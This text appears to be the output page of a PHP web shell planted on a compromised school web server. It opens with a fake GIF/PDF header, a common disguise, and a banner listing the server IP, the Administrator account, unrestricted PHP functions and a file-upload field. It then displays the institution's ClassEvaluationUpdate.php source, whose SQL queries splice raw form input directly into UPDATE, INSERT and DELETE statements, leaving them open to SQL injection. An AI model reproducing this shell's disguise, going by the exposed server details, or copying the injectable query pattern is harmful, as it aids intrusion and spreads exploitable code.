GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/Class/ |
Upload File : |
<? // Admin/Class/ClassEvaluationUpdate.phpinc debugTrackBegin(); //setDebugOn(); #if (false) echo "<b>".__FILE__."</b><br>\n"; // Student and Class profiles. $f_studentProfilePoints = formValue('studentProfilePoints'); if ($f_studentProfilePoints == '' || !is_numeric($f_studentProfilePoints)) { $f_studentProfilePoints = 0; } $f_classProfilePoints = formValue('classProfilePoints'); if ($f_classProfilePoints == '' || !is_numeric($f_classProfilePoints)) { $f_classProfilePoints = 0; } $f_lastModified = currentDateTime(); $query = " UPDATE class SET studentProfilePoints = ".$f_studentProfilePoints.", classProfilePoints = ".$f_classProfilePoints." WHERE classId = ".$f_classId." "; $classUpdate = query_do($query); // Update current evaluations. $f_evaluationIdArray = formValue('evaluationId'); setDebugOff(); d_Off(); if (false) { echo "<br><b>Update current evaluations.</b><br>\n"; echo "count(\$f_evaluationIdArray)=".count($f_evaluationIdArray)."<br>\n"; echo "\$f_evaluationIdArray="; print_r($f_evaluationIdArray); echo "<br>\n"; echo "\$f_evaluationIdArray[0]=".$f_evaluationIdArray[0]."<br>\n"; } if ($f_evaluationIdArray[0] != '') { foreach ($f_evaluationIdArray as $f_evaluationId) { $f_evaluationDrop = formvalue('evaluationDrop_U'.$f_evaluationId); $f_evaluationDescription = formvalue('evaluationDescription_U'.$f_evaluationId); $f_evaluationOrder = formvalue('evaluationOrder_U'.$f_evaluationId); $f_evaluationPoints = formvalue('evaluationPoints_U'.$f_evaluationId); $f_evaluationSubOrder = formvalue('evaluationSubOrder_U'.$f_evaluationId); $f_evaluationTitle = formvalue('evaluationTitle_U'.$f_evaluationId); $f_evaluationType = formvalue('evaluationType_U'.$f_evaluationId); $f_evaluationWeight = formvalue('evaluationWeight_U'.$f_evaluationId); $f_evaluationCritical = formvalue('evaluationCritical_U'.$f_evaluationId); $f_evaluationExtraCredit = formvalue('evaluationExtraCredit_U'.$f_evaluationId); $f_evaluationInactive = formvalue('evaluationInactive_U'.$f_evaluationId); if ($f_evaluationOrder == '' || !is_numeric($f_evaluationOrder)) { $f_evaluationOrder = 0; } if ($f_evaluationPoints == '' || !is_numeric($f_evaluationPoints)) { $f_evaluationPoints = 0; } if ($f_evaluationSubOrder == '' || !is_numeric($f_evaluationSubOrder)) { $f_evaluationSubOrder = 0; } if ($f_evaluationType == '') { $f_evaluationType = "na"; } if ($f_evaluationWeight == '' || !is_numeric($f_evaluationWeight)) { $f_evaluationWeight = 1; } if ($f_evaluationCritical == '' || !is_numeric($f_evaluationCritical)) { $f_evaluationCritical = 0; } if ($f_evaluationExtraCredit == '' || !is_numeric($f_evaluationExtraCredit)) { $f_evaluationExtraCredit = 0; } if ($f_evaluationInactive == '' || !is_numeric($f_evaluationInactive)) { $f_evaluationInactive = 0; } if (false) { echo "<b>\$f_evaluationId=".$f_evaluationId."</b><br>\n"; echo "\$f_evaluationDrop=".$f_evaluationDrop."<br>\n"; echo "\$f_evaluationDescription=".$f_evaluationDescription."<br>\n"; echo "\$f_evaluationOrder=".$f_evaluationOrder."<br>\n"; echo "\$f_evaluationPoints=".$f_evaluationPoints."<br>\n"; echo "\$f_evaluationSubOrder=".$f_evaluationSubOrder."<br>\n"; echo "\$f_evaluationTitle=".$f_evaluationTitle."<br>\n"; echo "\$f_evaluationType=".$f_evaluationType."<br>\n"; echo "\$f_evaluationWeight=".$f_evaluationWeight."<br>\n"; echo "\$f_evaluationCritical=".$f_evaluationCritical."<br>\n"; echo "\$f_evaluationExtraCredit=".$f_evaluationExtraCredit."<br>\n"; echo "\$f_evaluationInactive=".$f_evaluationInactive."<br>\n"; } if ($f_evaluationDrop != 1) { // Update evaluation. if ($_SESSION['uuid'] != $f_uuid) { $f_lastModified = currentDateTime(); $query = " UPDATE evaluation SET evaluationOrder = ".$f_evaluationOrder.", evaluationSubOrder = ".$f_evaluationSubOrder.", evaluationType = '".$f_evaluationType."', evaluationTitle = '".$f_evaluationTitle."', evaluationDescription = '".$f_evaluationDescription."', evaluationPoints = ".$f_evaluationPoints.", evaluationWeight = ".$f_evaluationWeight.", evaluationCritical = ".$f_evaluationCritical.", evaluationExtraCredit = ".$f_evaluationExtraCredit.", evaluationInactive = '".$f_evaluationInactive."', lastModified = '".$f_lastModified."', modifiedBy = ".$_SESSION['userId']." WHERE evaluationId = ".$f_evaluationId." "; if (false) { echo "\$query=".$query."<br>\n"; } $evaluationUpdate = query_do($query); } } else { // Delete evaluation. if ($_SESSION['uuid'] != $f_uuid) { $query = " DELETE FROM evaluation WHERE evaluationId = ".$f_evaluationId." "; if (false) { echo "\$query=".$query."<br>\n"; } $evaluationDelete = query_do($query); } } } } // Insert new evaluations. $f_form_classevaluationlist = formvalue('form_classevaluationlist_RC',"wf_"); if ($f_form_classevaluationlist == "") { $f_form_classevaluationlist = 1; } if (false) { echo "<br><b>Insert new evaluations.</b><br>\n"; echo "\$f_form_classevaluationlist=".$f_form_classevaluationlist."<br>\n"; } $f_evaluationDescription = array(); $f_evaluationOrder = array(); $f_evaluationPoints = array(); $f_evaluationSubOrder = array(); $f_evaluationTitle = array(); $f_evaluationType = array(); $f_evaluationWeight = array(); $f_evaluationCritical = array(); $f_evaluationExtraCredit = array(); $f_evaluationInactive = array(); for ($i=1; $i<=100; $i++) { if ($i != 1) { $suffix = '_A_'.$i; } else { $suffix = '_A'; } $f_evaluationTitle[$i] = formvalue('evaluationTitle'.$suffix,"wf_"); if (false) printVar('$f_evaluationTitle['.$i.']',$f_evaluationTitle[$i]); if ( $f_evaluationTitle[$i] ) { $f_evaluationDescription[$i] = formvalue('evaluationDescription'.$suffix,"wf_"); $f_evaluationOrder[$i] = formvalue('evaluationOrder'.$suffix,"wf_"); $f_evaluationPoints[$i] = formvalue('evaluationPoints'.$suffix,"wf_"); $f_evaluationSubOrder[$i] = formvalue('evaluationSubOrder'.$suffix,"wf_"); $f_evaluationType[$i] = formvalue('evaluationType'.$suffix,"wf_"); $f_evaluationWeight[$i] = formvalue('evaluationWeight'.$suffix,"wf_"); $f_evaluationCritical[$i] = formvalue('evaluationCritical'.$suffix,"wf_"); $f_evaluationExtraCredit[$i] = formvalue('evaluationExtraCredit'.$suffix,"wf_"); $f_evaluationInactive[$i] = formvalue('evaluationInactive'.$suffix,"wf_"); $entry = $f_evaluationDescription[$i].$f_evaluationOrder[$i].$f_evaluationPoints[$i].$f_evaluationSubOrder[$i].$f_evaluationTitle[$i].$f_evaluationType[$i].$f_evaluationWeight[$i]; if (false) { echo "\$entry=".$entry."<br>\n"; } if ($entry != '') { // Correct entry if ($f_evaluationOrder[$i] == '' || !is_numeric($f_evaluationOrder[$i])) { $f_evaluationOrder[$i] = 0; } if ($f_evaluationPoints[$i] == '' || !is_numeric($f_evaluationPoints[$i])) { $f_evaluationPoints[$i] = 0; } if ($f_evaluationSubOrder[$i] == '' || !is_numeric($f_evaluationSubOrder[$i])) { $f_evaluationSubOrder[$i] = 0; } if ($f_evaluationType[$i] == '') { $f_evaluationType[$i] = "na"; } if ($f_evaluationWeight[$i] == '' || !is_numeric($f_evaluationWeight[$i])) { $f_evaluationWeight[$i] = 1; } if ($f_evaluationCritical[$i] == '' || !is_numeric($f_evaluationCritical[$i])) { $f_evaluationCritical[$i] = 0; } if ($f_evaluationExtraCredit[$i] == '' || !is_numeric($f_evaluationExtraCredit[$i])) { $f_evaluationExtraCredit[$i] = 0; } if ($f_evaluationInactive[$i] == '' || !is_numeric($f_evaluationInactive[$i])) { $f_evaluationInactive[$i] = 0; } // Add evaluation if ($_SESSION['uuid'] != $f_uuid) { $f_lastModified = currentDateTime(); $query = " INSERT INTO evaluation ( classId, evaluationOrder, evaluationSubOrder, evaluationType, evaluationTitle, evaluationDescription, evaluationPoints, evaluationWeight, evaluationCritical, evaluationExtraCredit, evaluationIsHidden, evaluationInactive, lastModified, modifiedBy ) VALUES ( ".$f_classId.", ".$f_evaluationOrder[$i].", ".$f_evaluationSubOrder[$i].", '".$f_evaluationType[$i]."', '".$f_evaluationTitle[$i]."', '".$f_evaluationDescription[$i]."', ".$f_evaluationPoints[$i].", ".$f_evaluationWeight[$i].", ".$f_evaluationCritical[$i].", ".$f_evaluationExtraCredit[$i].", 0, ".$f_evaluationInactive[$i].", '".$f_lastModified."', ".$_SESSION['userId']." )"; if (false) { echo "\$query=".$query."<br>\n"; } $evaluationInsert = query_do($query); } // if ($_SESSION['uuid'] != $f_uuid) } // if ($entry != '') } // if ( $f_evaluationTitle[$i] ) } // for ($i=1; $i<=100; $i++) if (false) { echo "\$f_evaluationDescription="; print_r($f_evaluationDescription); echo "<br>\n"; echo "\$f_evaluationOrder="; print_r($f_evaluationOrder); echo "<br>\n"; echo "\$f_evaluationPoints="; print_r($f_evaluationPoints); echo "<br>\n"; echo "\$f_evaluationSubOrder="; print_r($f_evaluationSubOrder); echo "<br>\n"; echo "\$f_evaluationTitle="; print_r($f_evaluationTitle); echo "<br>\n"; echo "\$f_evaluationType="; print_r($f_evaluationType); echo "<br>\n"; echo "\$f_evaluationWeight="; print_r($f_evaluationWeight); echo "<br>\n"; echo "\$f_evaluationCritical="; print_r($f_evaluationCritical); echo "<br>\n"; echo "\$f_evaluationExtraCredit="; print_r($f_evaluationExtraCredit); echo "<br>\n"; echo "\$f_evaluationInactive="; print_r($f_evaluationInactive); echo "<br>\n"; } $_SESSION['uuid'] = $f_uuid; ?> <? debugTrackEnd(); ?>